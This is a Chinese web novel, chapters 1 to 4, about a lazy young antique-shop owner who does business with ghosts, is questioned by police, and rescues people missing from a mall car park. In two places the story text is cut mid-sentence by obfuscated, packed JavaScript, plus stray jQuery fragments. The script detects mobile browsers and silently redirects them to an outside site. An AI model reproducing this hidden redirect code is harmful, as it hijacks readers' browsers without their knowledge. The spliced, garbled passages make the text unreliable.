《小财迷他生财有道》 1. 第 1 章 经营着老爷子留下来的店铺的乔霖,在今天刚睡醒的时候,接到了一位客人的求助。 穿着白色T恤,黑色工装短裤的青年打着哈欠从店铺角门出来,人字拖在地上发出拖沓的声响。 瞥了一眼店里多出来的那只生物,乔霖慢吞吞走到柜台里,躺在那张实木躺椅上,整个人消失在柜台后面。 一夜未关的店门里,一只灰毛狐狸正紧紧抱着尾巴,蹲在多宝格与墙壁的夹角里,小心地躲避照射进来的阳光,企图和铺在地上的影子融为一体。 “狐鬼?你是要申冤报仇还是想早日投胎?”睡眼朦胧的青年摸出手机,熟练地打开网店查看消息,还不忘吩咐一句:“叔,记得擦一下灰尘。” 那些鬼东西真不讲究,每次做它们的生意,店里都脏得跟十天半个月没打扫一样,影响他白天做生意。 “好。”熬了一夜的老者丝毫不见疲态,看到乔霖这幅懒散模样,富态红润的脸上浮起一丝笑意。 门可罗雀的店里,老人拿着抹布干活,年轻人却躺在躺椅上,怎么看都有点倒反天罡,二人却丝毫不觉得有什么问题。 连那只灰毛狐狸都没觉得有什么不对,只对着柜台的方向,张口就哭:“乔老板,您管管人类吧,我好不容易找到一处风水宝地清修,那些人误闯就算了,大不了咱给安安稳稳送出去,结果好狐没好报啊,那些人见天儿地举着个手机往我的地头上闯,弄得我都好几个月没睡好觉了!” “您说我容易吗?活着的时候没有现在这些宠物的待遇,死了还没个清净日子过,这些人类简直欺鬼太甚!” “要不是杀人有损阴德,我早就让他们有来无回了。”说罢,灰毛狐狸微微仰头,想偷瞄一眼对方的脸色,发现柜台太高看不到,又低着头,尖细的嘴巴一张一合继续诉苦。 “跟我一块地头的鬼大哥说这样下去也不是办法,活人身上阳气重,我们这种小鬼轻易近不得身,最多使个障眼法吓唬吓唬他们,所以让我来找找您,看您这边能不能解决。” 正看着手机的乔霖听到这句话,忽然笑出声来:“死了上百年的小鬼?” 灰毛狐狸脸上浮现出几分心虚,讷讷道:“那确实比不上那些死了几百年的厉害。” 动物修行不易,它还是死后才开的灵智,能不沾人命,自然是不沾的好。 “那你的诉求是什么?”乔霖懒得探寻这些鬼物的小心思,仗着柜台挡住了双方视线,一心两用回复消息。 灰毛狐狸眼睛转了转,低声下气道:“您能不能想办法让那些人类别整天跑我地盘上撒野?” “不是你们自己跑到人类地盘来的?”乔霖轻嗤一声,脚尖一踮,躺椅轻轻摇晃起来。 “大洋商场特意请人改的风水,你跟几个老鬼二话不说占了人家的地下停车场,若是被人发现捉了去,哪怕没有伤人,都只能认栽。” “请人办事就老实把话说清楚,在我面前装什么弱势群体。” 刻意隐瞒的信息被人点破,狐鬼缩起脖子,讪笑道:“原来您都知道啊,倒是我们想多了。” 乔霖慢悠悠道:“你能拿出什么筹码,我就能帮你办成什么事,办不成也不会收你的东西,不必担心我偏袒人类。” “是我小心眼了,乔老板果然如那位鬼大哥所说,是个就事论事的人。”面子里子都被掀了,狐鬼也不敢再隐瞒。 “那地方布了上好的风水局,又没人去住,人类也只用来当个摆放物件的地方,我们在那里修行,也算物尽其用。” “往日里与人类井水不犯河水,也不曾为难过人类,这次属实是遭了无妄之灾。” “咱们哥几个商量了一下,打算拿些宝贝请乔老板帮忙解决,让双方恢复以往互不相犯的日子。” 话音落下,蹲在夹角处的灰毛狐狸身前,多了几个色彩鲜艳的瓶子,擦拭多宝格的陈叔侧头看了一眼,警惕道:“你们几个鬼东西能有什么宝贝?把这东西的来路说清楚。” 听到这话,乔霖立刻来了精神,他站起身探头看去,当看到瓶子周围淡淡的阴气时,就知道这玩意儿跟摆在多宝格上面的东西一样,都是真的。 “你一只狐狸还有陪葬品?”他饶有兴致道,“总不能是那几只老鬼的吧?” “既然都往人类地盘跑,说明它们自己的阴宅也不是什么风水宝地,能有这种规格的陪葬?” 这些清晚期风格十分明显的粉彩瓶,细致程度也不是民间能用来陪葬的东西,乔霖压下嘴角:“你们侵占了人家的阴宅?” 此话一出,狐鬼吓得连连摇头:“不是不是!是九几年那会洪水冲来的,咱们哥几个生前没什么见识,只觉得这些瓶子挺好看的,就收下了。” “城隍爷爷在上,咱哥几个从来不干缺德的事,不然也不敢上门找您办事啊!” 看乔霖一直沉默,狐鬼又讨好道:“这些瓶子虽然是意外得来,但确实不属于咱们,如今我们把这些东西还给人类,换人类还我们一个清净,也算了了因果。” 阴阳两隔,死后成了阴魂自然不能说自己还是人,更何况它还是一只狐狸。 “是这个道理。”乔霖十分满意,又坐回躺椅上,柜台再次隔开了狐鬼的视线。 这只狐鬼说的未必是真话,即使是真话,也未必把事情说全,但是乔霖不在意,只要确定这些玩意儿不是它们主动挖出来的就行。 片刻沉默后,一道平静的声音从柜台后传来:“东西都在这里了?” 狐鬼上门前打听过这位乔老板的习性,知道肯定会大出血,但此刻听出话里含义,还是忍不住肉疼,“还有几个,回头都给您送来。” “行,今晚我看看有没有空,没空就找人去帮你解决。”乔霖爽快应下,“你们别让那些人磕了碰了,否则就不是几个瓶子能解决的事了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265412|198097||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 狐鬼苦哈哈道:“您放心,今晚我们就把那些人放了。” 等陈叔把那几个粉彩瓶子收起来,躲在夹角的狐鬼才看了眼外边的太阳,沿着周围店铺屋檐下的阴影一溜烟跑了。 做完一单生意的乔霖惬意地拿起手机,拨通了一个号码。 “是我,前两天你不是说有人遇到鬼打墙,还失踪了吗?现在情况怎么样了?” “对,就是你叔叔帮忙改过风水的那个大洋商场。” “没什么,我前两天忙,也没能腾出时间去了解情况,现在得了空,寻思你叔叔擅长改风水,未必擅长捉鬼,就问问你需不需要我这边叫人去帮个忙。” 电话那头不知道说了什么,躺椅上的青年颇为遗憾:“已经请人了?那行,要是解决不了,你再跟我说。” 挂断电话后,乔霖轻轻叹了口气,看来不能两头赚了。 与此同时,南安市西城区的民警接到了一通举报电话,据说在西城区的四方街里,有一家古玩店明目张胆帮人洗钱。 洗钱二字一出,这通举报电话的性质立刻上升了一个等级,原以为是辖区居民矛盾的张宁神情未变,“再次跟你确认一下地址,西城区四方街第十二条巷,巷子打头第一间的登封古玩店,对吧?” 得到肯定的答复后,张宁冷静道:“感谢你的举报,我们立刻派人出警。” 电话挂断,旁边新来的实习民警小周好奇抬头,“师父,什么案子?” 记录报案信息的中年男人语气沉稳道:“有人举报四方街一家店帮人洗钱,你准备准备,等下跟我出警。” “洗钱?”小周愣了一下,“这得让刑警大队去吧?” 洗钱属于破坏金融管理秩序罪,按理来说应该公安局刑侦大队接手,怎么也不该他们派出所的民警去查吧? 在西城区这边生活的基本都是本地人,少了谋生发展的紧迫感,多了几分缓慢的烟火气,哪儿有地方给人洗钱啊?去菜市场五毛一块地洗吗? 张宁想起举报人的语气,又看了眼记录的地址,隐隐有些无奈:“可能是误会,或者双方有矛盾,我们先过去看看,确认有情况再转刑侦那边。” “四方街那边几乎都是古玩店,这一行挺水深,同行之间有矛盾也不少见,说不准是真是假,等会去看看就知道了。” 从业二十多年,张宁什么样的事没见过? 当年刚进警局实习的时候,连轰动南安市的杀子讹诈的大案,他都跟着还没调任的师父跑过几次。 单以经验来看,这种举报电话多半是商户双方有矛盾纠纷,其中一方找个理由报警,以达到影响对方生意的目的。 更别说这次被举报的人张宁还认识,以他对那个年轻人的印象,这件事多半另有内情。 既然目前也没有别的报案,做好记录的张宁干脆带着徒弟小周出警,去看看那小子又惹了谁。 2. 第 2 章 “凌晨那会儿卖出了一把松云香,金银元宝各三袋,黄纸钱十二沓,童男童女各两对……” 听到就卖出这点东西,还全是丧葬用品,乔霖忍不住“啧”了一声:“家里人都不准备的吗?” “可能是买的不经用。”陈叔换了一块干净的抹布,继续去擦多宝格上的摆件,“咱们店里的东西真材实料,跟流水线上出来的可不一样。” 至少不会给纸钱印上花花绿绿的图案,或者面额直接印一大串零,下面可不认这种钱。 说着说着,陈叔突然道:“对了,头巷刚搬来的那家店好像开了,开业时你去了吗?” 正在回复消息的青年愣了一下,思索片刻,不确定道:“昨天还是前天来着?我忘了。” 那家店前阵子才装修好,好像让人来传过消息,那人在门口匆匆说一声就走,正在打盹的乔霖还没听清说了什么,对方就奔赴下一家门店了。 不过他白天要开店,晚上还被那些鬼东西吵得睡不好,哪来的时间去参加陌生人的开业庆典? 陈叔点了点头,乔霖去不去他不在意,得了个答案便略过这个话题,专心搞卫生。 乔霖摆弄了会手机,还是不死心,“叔,你说大洋商场那件事,请来的人能解决吗?” “云迹说商场的股东请了异管局的人来,但是我感觉不太靠谱,你说这个单子最后能不能落到我们手上?” 陈叔想了想,也不太确定:“这得看来的人有几分真本事,云小哥的叔叔在本地颇有人脉,他找的人都铩羽而归,可见他们也无从下手。” “你想接?” “想啊!”乔霖大方承认,“当时要不是忙着处理贡品被偷的事,云迹找来的时候我就应了。” 大洋商场给的酬金可不少,据说光酬金就有二十万,解决不了也有八千车马费。即使当时他忙得焦头烂额,听到这个酬金时也忍不住疯狂心动。 二十万在南安市可不是一个小数目。 正巧今天又接下了狐鬼的单,要是大洋商场的委托也能揽到手里……乔霖越想越忍不住叹气。 “你说这事儿闹的,好好一个发财的机会就这么溜了。” 陈叔安慰几句:“说不定来的人也解决不了,到时候又落到我们手里了,异管局这种地方,里面很多人是被家里安排进去镀金的,有没有真本事还另说。” “商场的人要是能请来几个有本事的,当初哪里还需要上门请云家改风水?” “别看现在失踪一事闹得有点大,但是在那些人眼里啊,估计还没有当年商场濒临倒闭来得严重。” 那个时候都没找得到靠谱的风水师,最后还是求到本地云家头上,总不能过了几年,这些一心敛财的商人就结识了更厉害的大师吧? 陈叔说的没错,玄学圈子多的是招摇撞骗的人,真有本事的人也不是那么容易结识的,乔霖听完又升起几分希望。 “顺其自然即可。”看他不再纠结,陈叔笑了下,“与其想这些有的没的,不如想想云小哥交给你的那些钱吧。” “云小哥那边催得急,想让你快点把钱弄干净,好让他拿回去给老师交差。” 乔霖眼神游移一瞬,低声吐槽道:“那些钱都烂成什么样了,哪有那么容易弄?让他再等等呗。” 小周跟着师父走到十二巷口时,听到的就是这句话。 他抬头看向第一家店,「登封古玩店」的招牌高高悬在门上,仿古的店门两侧挂着许多三指宽,巴掌长的木牌,跟小广告似的。 在确定是这家店后,小周所有注意力都集中到店里传来的那句话上。 古玩店能弄干净什么钱?或者说有什么古玩相关的钱需要弄干净?听着还有老师涉及其中,这个职业能跟一家古玩店扯上什么关系? 小周拿着执法记录仪靠近,企图探听更多信息,张宁却从一堆小木牌中,看到了“专业洗钱”四个字,便径直走进店里。 擦拭灰尘的老者察觉到什么,扭头看向门外:“张警官,你们这是?” 小周清了清嗓子:“接到举报,过来查一下。” “什么举报?”乔霖直起身,从躺椅上坐起,“这条巷子有人犯法了?” 张宁掏出证件示意,“刚刚接到电话举报,我过来看看怎么回事。” 乔霖看到张宁,松了一口气,想起最近卖出去的东西,又道,“是什么买卖纠纷吗?” 对于这家店有人认识张宁的事,小周没吭声,毕竟张宁负责这片辖区也不是一两天的事,认识这里的常驻商家很正常。 他安静站在师父旁边,目光却绕着店铺摆设转了一圈,随后把视线定格到眼前的青年身上。 小周进警局也有一段时间了,阅人无数不敢说,识人之术却也有一点,但此时他却忍不住多看了乔霖两眼。 这是一张平平无奇的脸,只有一双黑白分明的眼睛较为出彩。 好像不满自己过于平凡,青年特立独行地戴了一个看不出材质的方镯,黑色的镯子挂在左手腕骨上,连偏深的肤色也被衬得没那么暗沉了。 注意到小周的视线,乔霖笑着招呼道:“外面太阳大,二位不急的话,先进来歇一会?” “我和这条巷子的商家都挺熟的,你们有什么想知道的,都可以问我。” 他笑起来眼神清亮,十分和气,小周却感到一丝别扭。 等走进店铺后,小周才弄清一闪而过的别扭出自何处——这个人的外貌,并非毫无记忆点。 青年两侧的下颌线并不对等,显得脸型有些歪;眼睛虽然漂亮,但是左眼和鼻梁的距离偏近;甚至连露出的额头,都因为一侧眉骨偏高的问题,显得宽窄不一。 这张脸就像雕刻学徒即将出师的作业,看似到达及格线,却因为一两毫米的差距失去了对称的美感,加上暗沉的肤色,瞬间让这张脸泯然众人。 属于犯事时能让他们警方多看两眼就记住面部大概特征,不犯事时走在路上却无人注意的存在。 如果不是职业原因,换了一个人来,也察觉不到这些细节,只会觉得这张脸很平凡,说不上难看,和好看也不沾边,仅此而已。 乔霖看着一脸严肃的小周,笑道:“这位警官怎么这样看我?” 确认这张脸没有出现在网络通缉的照片上,小周便岔开话题:“这面锦旗可不常见,锦旗获得者是你什么人?” 他所指的地方挂着一面荣誉市民的锦旗,锦旗旁还有一座小小的神龛,看不清里头供的是什么神像。 乔霖暗自揣度这句话的含义,谨慎道:“这是我家老爷子,走了好几年了,您认识?” 都说人死债消,老爷子走了这么久,有什么人情债,在走之前应该都还完了。 就算没还完,现在才找上门的,他也不认,要想他帮忙,怎么也得收点钱才行。 收多少合适呢? 乔霖正想着今天适不适合开单,却只得到小周尴尬的一句回答:“不认识,有些好奇而已。” 本想锻炼新人的张宁无奈开口:“别扯这些有的没的,今天过来是想问问你小子,怎么被人举报洗钱的。” “洗钱?”陈叔立刻义正辞严开口,“张警官,你们是不是弄错了?我们老板可是正经生意人,有工商营业执照,有纳税记录,消防检验每次都合格。” 乔霖下意识附和:“嗯,对。” “对什么对啊!”陈叔无奈道,“你快点跟人解释一下,你怎么跟洗钱扯上关系了?” “不知道啊。”乔霖一头雾水,“洗钱不是违法的吗?” 他看向张宁二人,“是违法的吧?” 是个人都知道洗钱这个罪名有多大。 张宁指着门口,眉心深折:“那你弄个专业洗钱的牌子是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一番折腾下来,最终确定这家店跟洗钱扯不上什么关系。 只不过想起刚才查看消息记录时弹出的群聊消息,他还是开口提醒:“年纪轻轻别搞封建迷信,上次的教训要铭记于心。” 群聊里什么纸钱纸扎一类的询价消息就不说了,这个三天红事七天白事谁能接的消息也能说是本地风俗,可是居然还有人要借黑猫黑狗辟邪的,看着就不太符合社会主义核心价值观。 群里消息刷得飞快,看得出这些人活跃度不低,真让人民警察头大。 “没搞。”乔霖干巴巴解释,“群里都是这条巷子的店家,大多做白事生意,有的老板上了年纪没精力天天开店,我这边有顾客需要就帮着卖一点而已。” 张宁点头,也不知道信了没有,“这次是接到民众举报,过来调查而已,既然是误会,那就没事了,以后多注意一点。” 他教育了几句这个有些特立独行的青年,但是乔霖仍旧一副不管说什么都点头的模样,让张宁有些头疼。 “嗯嗯,记住了。”乔霖看到两人准备离开,忍不住道,“警官,是谁举报我的?” “这个不能透露。”看到青年吃瘪的表情,张宁总算舒心了一些。 目送两位警官离开,乔霖叹了口气,回到柜台里,挑眉看着门外的天光,忍不住眯起眼睛。 偌大的店铺安静了下来,陈叔低声询问:“小霖,你怎么想的?” 炙热的阳光烘烤着大地,即使店里阴凉无比,青年也被勾起了倦意,他闭上眼,低声道:“麻烦您老去问问怎么回事。” 得了准话的老者低头想了想,往后堂走去。 半个小时后,四方街最外边的一条巷子,打头的店铺传出一道惊恐的叫声,随后又很快安静了下去。 3. 第 3 章 “师父,您跟刚才那个店主是怎么认识的?” 警车门关上,小周看了一眼四方街,总觉得这样回去太草率了,都说无风不起浪,举报电话都打来了,哪怕看着像个误会,也不应该问几句,查查手机就能得出结论吧? 谁家违法犯罪不是偷摸进行的?就刚才问几句话,看一眼手机记录的查法,也摸不到真相吧? 唯一的解释就是,他师父因为认识那个店主,所以没有公事公办。 张宁不需要看就知道这小子在想什么,“收起你那些乱七八糟的想法,我还不至于因为一点交情忘记自己的职责。” 接下来,小周就从师父口中知道了两人相识的过程。 “咱们这片辖区有好几个城中村,那个店主在这一片口碑还挺好。” “当初那小子听说李家老太太病逝,死后没人操办后事,他当天就带着一队人去办灵堂哭灵,村里人来吊唁时给的礼金一分不落都收下了。” “李家三个儿子闻讯赶来,愣是没把礼金从他手里抢过来,气得拎起凳子追着他们一群人打,还是村里的人报警,我带人赶过去才把人拦住。” 结果还没等调解出个结果,这小子转头把收到的吊唁金买了块墓地,把那位以拾荒为生的李老太给好生安葬了。 也不知道他是以什么身份从医院把李老太的遗体接出来的,买下那块墓地时,自己又添了多少钱。 不过这些事没人报警,结果也得到了那片居民的认可,张宁权当不知情。 “除此之外,后面还遇到几次关于他的报案,什么买宵夜时帮看了一会没人的摊子,遇到城管巡逻,怕摊主家伙事被没收,直接骑着跑,结果摊主回来以为车被偷报警的,又或者这小子想去弄点虎尿想搞什么配方,鬼鬼祟祟被动物园的饲养员以为是想给老虎投毒的。” “最近一次就在你来之前的一个月,这小子带着一伙人堵了几个二流子,把人吓得报警了,我们赶过去才知道那几个人收学生保护费,还威胁学生回家偷钱。” 小周肃然起敬:“打得狠吗?乔老板没被拘留吧?” “打个屁!”张宁没好气道,“我带着老金他们赶到的时候,那几个混混一点擦伤都没有,就是被吓得尿了一裤子。” “被抓回所里的时候还在说什么恶鬼吃人之类的胡话,那几个混混的家人还想借此索要巨额精神损失费,要不是有我调停,他能落个好?” 但凡打了,他怎么也有理由多回访几次,好好教育一下那小子,结果对方稳稳踩在法律红线之外,最多也只能当场口头教育几句,又气人又无奈。 “就这些想一出是一出,不顾后果的行事作风,你觉得他能干洗钱这事儿?”张宁叹了口气,“我知道你想破大案,但是在普通人的生活里,哪有那么多惊天动地的大案?” “你还年轻,有的是时间慢慢来。” 听到这句话,小周不好意思地笑了笑,终于启动车子离开了这里,也错过了不久之后的那一声惨叫。 十二巷里,许多大门紧闭的店铺闻声开启,门后的人纷纷探头出来,看了一眼空荡荡的街道,随即和其他人低声交流起来。 “怎么回事?” “不知道咧,刚刚是不是有人来?隔老远我就听到汽车声了。” “可能是来找小霖的,听陈叔说小霖最近交了个朋友,那年轻人我见过一次,挺爱笑的,看着脾气蛮好。” “那头巷是怎么回事?听动静好像是刚来的那家。” “我听着声儿也是新来的那家,不会是惹到小霖了吧?” “造孽哦,欺负一个没亲人的小娃娃。” 这句话仿佛触动了众人不愿去想的心事,各家各店的人脸色都蒙上了一层灰,直到一位穿着老式对襟褂的老太太磕了磕手中的水烟筒,低声道:“又来人了。” 这句话仿佛一个休止符,探头出来的人不再八卦,纷纷缩回去,轻手轻脚关上了店门,只余巷子打头的古玩店开着。 古玩店里,闭眼打盹的青年仿佛听到什么动静,微不可闻叹了口气,便在困顿中睁开双眼。 几息之后,一个莫约六七岁的小孩出现在店门口,胖嘟嘟的脸上满是笑意。 “哥哥!” “自己一个人?”乔霖起身走出去,将门外的小孩抱起,“你爸妈呢?” 胖乎乎的小家伙亲昵地搂住他,开心道:“爸爸妈妈在外面给你买东西!” “浪费这个钱干嘛。”乔霖嘀咕了一句,抱着小胖墩站在门外,任由炙热的阳光洒在身上,也没有带着小孩进入店里的意思。 小胖墩眼馋地看着店里的各种瓶瓶罐罐,撒娇道:“哥哥我热!” “不,你不热。”乔霖冷酷拒绝,“里面的东西随便打碎一个,你爸妈能打你一个月不带停的。” 对于还没进入叛逆期的小孩来说,没有什么威胁能比得上父母的教训来得有用,小胖墩撒娇无果,也老实了下来。 背后被太阳晒得暖暖的,但是在哥哥怀里一点都不热,小胖墩窝在乔霖怀里自娱自乐,刚刚还热得出汗的身体,不知不觉变得凉爽起来。 一分钟,两分钟……乔霖心里默默数着时间,在怀里小孩开始犯困的时候,一对夫妻终于出现在视线里。 “怎么在外面等着?”徐霞下车走过来,从乔霖手里接过儿子,“我们走到第一条巷子的时候才想起来,给你买的苹果忘记拿了,我和老李刚刚又跑去买了一袋。” 旁边停好电动车的男人不好意思笑了一下,拎着一个红色的塑料袋,憨憨地说着自己记性不好之类的话。 “躺久了想出来晒晒太阳,里面太阴凉,孩子也不适合进去。”乔霖脚下纹丝不动,丝毫没有请人进店里的打算,“下次别买东西了,我也不爱吃这些。” “不爱吃,也得吃两口。”男人结结巴巴教育他,“你太瘦,得多、多补补。” 乔霖看着夫妻俩身上洗得有些薄的衣服,又看了眼喂养得不错的小胖墩,无奈点头:“嗯,下次别买这么多,陈叔不吃,我一个人也吃不完。” 男人开心应下:“哎,等你吃完,我、我再买,顺便把发、发财,给你送回来。” 徐霞探头看了一眼空荡荡的店铺,“陈叔不在吗?” “知道你们要来,他回后堂去了。”太阳晒在身上,让人有种皮肤皲裂的错觉,乔霖往后退两步,站在门前的屋檐下,轻声道,“徐姨,小知没满十二岁之前,你还是少带他来我店里,下次直接回家就行。” “最近四方街又新开了几家店,我们和那些人也不熟,你们别让小知自己走进来。” 他的声音很轻,话里的意思却让夫妻二人有些后怕,看着青年略显单薄的身体,徐霞眼中划过一抹不忍。 “行,姨记住了,下次不让他自己走进来。” 乔霖这才笑了,“你和李叔快回去吧,徐爷爷知道你们要回来,一早就在家里等着了。” 徐霞点了点头,催他赶紧回店里休息,等乔霖接过那袋苹果,才带着丈夫和睡眼惺忪的孩子往巷子里走去。 看着一家三口打开某家店门,乔霖才转身回店里继续躺着。 还是呆在店里舒服啊。 在阵阵凉意中,躺椅上的青年把手机调成静音,继续打起盹来。 这一睡,就睡到了明月高悬。 空气中的土腥气越来越重,等了半个小时的云迹看着逐渐被乌云遮住的月色,忍不住催促:“你好了没?一会要下雨了。” 乔霖站在店铺角落的供桌前,挑挑拣拣拿起三支香点燃,朝着上方的神龛拜了拜,随手将香插入桌上的黄铜小香炉里。 才慢悠悠道:“急什么,那个请来的人不是解决不了吗?反正也没人横插一杠。” 云迹有些急:“这里离市区多远啊?咱们过去也需要时间。” 夏季多雷雨,万一待会停车场进不去,他们还不得淋成落汤鸡? 将洗好的苹果摆在供桌上,乔霖不疾不徐道:“做我们这一行呢,能迟到,能踩点到,就是不能上赶着提前到,知道了吗?” “你不怕这单生意被人截胡?”云迹扔出一个新消息,“刚从我叔那儿得到消息,又有外地车牌往大洋商场方向去了,这个点商场可歇业了啊,别说我没提醒你。” 乔霖动作一顿,“对方还请了第二个?” “我也不知道还有别的外援啊。”云迹神秘兮兮道,“刚才去的那个人已经联系不上了,这个还敢去,估计有点真本事。” 他忍不住强调:“这可是二十万!” 酝酿多时的天空炸响第一声雷,没有路灯的巷子里,瞬间恍若白昼。 “你去开车,我去叫人,陈叔记得三点开店门!” 乔霖二话不说转身,跑进黑黢黢的巷子里,敲响其中一家店门,“覃塘你快点,有人要抢单子!” 店里的人等 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在保安亭里躲雨的商场负责人终于等到云迹的车子出现,与此同时,一辆京牌的黑色轿车从停车场另一侧入口悄然驶入。 乔霖在车上就已经看到人影了,下车后立刻朝保安亭跑去:“杨经理是吧?我是云叔……” 一听到“云”这个姓,满心焦急的杨经理也不管来人为什么这么年轻,只狠狠松了一口气:“大师!您可算来了!” 他从保安亭出来,急得伞都没打,拉着乔霖就要往停车场里走,“刚才接到监控室的通知,又有一个人失踪了!” 第一个直播鬼打墙的小主播失踪,大家都当他是为了博流量策划的剧本。 等第二个主播失踪,看到直播录屏中惊慌失措的人,大家才发现这件事好像不是商场为了提高人流量弄出来的噱头。 现在,第三个失踪的人出现了,还是商场股东特意从外省请来的,据说是官方的人,还是什么知名大师的后人,微博粉丝大几十万那种。 杨经理已经不敢想象这个消息一经走漏,商场会面临什么样的舆论压力了。 乔霖立刻保证:“您放心,我们是专业的。” 这个年轻人专不专业杨经理不清楚,毕竟前不久进去的那个人也是这么说的。 但是他知道之前托云家请来的人,虽然解决不了问题,也不至于跟着失去消息,让失踪人数上升。 乔霖让云迹留下陪着已经六神无主的杨经理,自己带着覃塘朝地下停车场跑去。 “你去埋东西吧,我已经跟此地住户谈妥了。”乔霖叮嘱道,“看仔细点,别弄错了。” 覃塘早在群聊里看到了消息,事关自己的学费,十分认真点头:“乔哥放心,这次出门我只带了身份证和镇物,别的都没带。” 之前隔壁石匠家的孩子跟着乔霖去办事,结果错把降神除魔的三清铃当成敛魂的石铃拿出来,差点没把雇主家头七回魂却意外滞留阳间的老父亲给灭了。 这件事在后面很长一段时间里,成为十二巷各家各户饭后唠嗑的话头。 石匠家的孩子羞得没脸回家,一学期都窝在学校里发愤图强,直到去年考上外地一所知名大学,用“有出息”三个字,代替了办事不牢靠的调侃。 有前车之鉴在,覃塘必不可能让自己沦为巷子里的下一个谈资! 他从背包里掏出罗盘看了一眼,分清楚方位后,立刻朝着停车场一角走去。 大洋商场的风水局确实有用,主要还是这个风水局只聚财气人气,却不伤阴魂,狐鬼和那几只老鬼才能用阴气隐藏自己的行踪,安安静静在这里呆着。 现在人类突然能撞破鬼物的障眼法,也是因为人气太盛,阴阳失衡,再加上一些乱七八糟的原因,两个世界的生物直接面对面了。 乔霖猜测,云家小叔听到是鬼打墙和活人失踪,想着自己不擅长抓鬼驱邪,就没来看一眼是不是风水局出了问题。 而覃塘要做的,就是用新的镇物把这个局重新布起来,隔开阴阳两边。 至于乔霖……他找了根承重柱靠着,随手敲了敲旁边车子的引擎盖,“把人带出来吧。” 几秒钟后,狐鬼和四个缩头缩脑的老鬼整整齐齐出现在他面前,失踪的三个人同时出现,双眼紧闭,横躺在双方中间,其中一个小年轻手里还握着一把桃木剑。 狐鬼咧嘴,行了个不伦不类的礼:“晚上好啊,乔老板。” 4. 第 4 章 乔霖打量几只鬼物,缓缓开口:“事情我已经让人去解决了,等会都过去认认地方,隔三差五去补点阴气,别让阵眼阴阳失衡就不会出问题了。” “事情结束后,这些人由我带走,你们与人类从此互不相犯,如果坏了规矩,我亲自收拾你们。” “都明白了?” 懒散的声音没什么威慑力,四只老鬼却缩起了脖子,发出几句意味不明的尖啸声。 狐鬼寻思着人类也听不懂鬼话,立刻开口翻译:“乔老板,我这几个哥们说明白了,您怎么说我们就怎么做。” “嗯,然后呢?”乔霖意有所指,“今早你说的……” 狐鬼呲牙,心痛得滴血:“记得,都记着呢,剩下那几个瓶瓶罐罐,我一会亲自送到您店里,也省去您自个儿搬的功夫了。” 乔霖满意了,“行吧,你们把东西交给陈叔,他点头了,这桩生意就结束了。” 听到这句话,四只老鬼肉眼可见放松下来,连魂体都松散了几分,就在双方以为事情就这么圆满结束的时候,一道似笑非笑的声音在空旷的停车场中响起。 “人类和恶鬼做交易?” “稀奇,真稀奇啊。” 乔霖循声望去,一道颀长的影子从承重柱后缓缓出现,影子的主人也随着脚步声出现在视野中。 这是一个仅凭外表就足以让人升起嫉妒之心的男人。 看到美好的事物,正常人的反应是什么? 乔霖心思急转,随即转身背对着男人,举起手机笑道:“帅哥,看这里!” 男人抬眸望去,紧接着快门声响起,笑得灿烂的青年,一脸懵逼的五只鬼魂,以及站在鬼魂身后一脸兴味盎然的自己,都被定格在这张照片里。 乔霖满意地看着照片,随后转身看向男人,摊开手道:“什么交易不交易的,说得这么难听。” “我这叫为了促进两界和平共处,维护双方生存空间,顺便救几个人罢了,至于那些东西嘛……只是鬼民群众表感激之情的方式罢了。” 他瞥了狐鬼一眼,“你们说呢?” “对对对!”狐鬼十分上道,它看不出这个男人的来历,却知道乔霖在鬼怪中的影响力。 “我们可不是主动害人的恶鬼,只是南安市广大鬼民群众中最普通的一员而已,这次乔老板心善,帮我们解决了大问题,让人和鬼重新有了边界感,我们十分感激,所以送上一点小小的心意。” “这些瓶瓶罐罐对我们鬼魂来说,就跟你们人类随处可买的水果一样,哪里够得上交易二字?拿这些东西去跟别的鬼交易,人家还嫌我们小家子气。” 这幅人鬼和谐的场景过于怪诞,男人嗤笑一声,打破了乔霖想粉饰太平的幻想:“是不是交易,可轮不到你们说了算。” “帅哥。”乔霖突然打断他,晃了晃手机,手机壳里一抹明黄色吸引了在场人和鬼的视线。 “这张符可以让一切鬼物在镜头前现行哦,所以与鬼物和谐同处一张照片里的你,又是什么样的立场呢?” “或许我该换个说法?”乔霖眼尾微微上扬,语气轻佻笑道,“我亲爱的……同党。” 五鬼:“……” 不愧是乔老板! 十分钟后,警车上的乔霖看着车外谈笑风生的男人,不死心道:“他不用去做笔录吗?就因为他是你们的人?” 大家同样是深夜出现在停车场解决一件事,凭什么只有他被赶上警车? 对方在异管局任职的就可以不受管束吗? 小周神色复杂地看着他:“虽然那位先生不是警察,但是你妨碍公务确实是真的。” 今早才见过一面,没想到晚上又碰面了,怪不得他师父会严肃地让这位乔老板别搞封建迷信。 看看对方刚才说了什么? 大洋商场有人失踪是因为鬼打墙?来这里抓鬼救人?还真给救出来了? 要不是确信上面要求他们全力配合派来的专员调查失踪一事,对方也只说乔霖妨碍公务,带回去教育一下就行,仅凭刚才听到的那几句话,他都要怀疑那些失踪的人是被乔霖藏起来了。 “这位警官,我没有妨碍公务啊。”乔霖有些冤,“那些人是我找到的,他要去调查我也没有拦着啊,你看看他那副衣冠楚楚的模样,像被妨碍到的样子吗?” 小周警官没有说话,只叹了口气,那眼神像在看一位迷途不知返的青年。 乔霖也叹了口气,看一眼打着伞跟杨经理谈笑风生的男人,再看看帮着医护人员把昏迷的人推上救护车的张宁,觉得自己的二十万要飞了。 眼看那个男人笑语晏晏结束了对话,意味不明地瞥了他一眼,便转身向停车场走去,乔霖瞬间打了个激灵。 覃塘那小子可还在停车场呢! 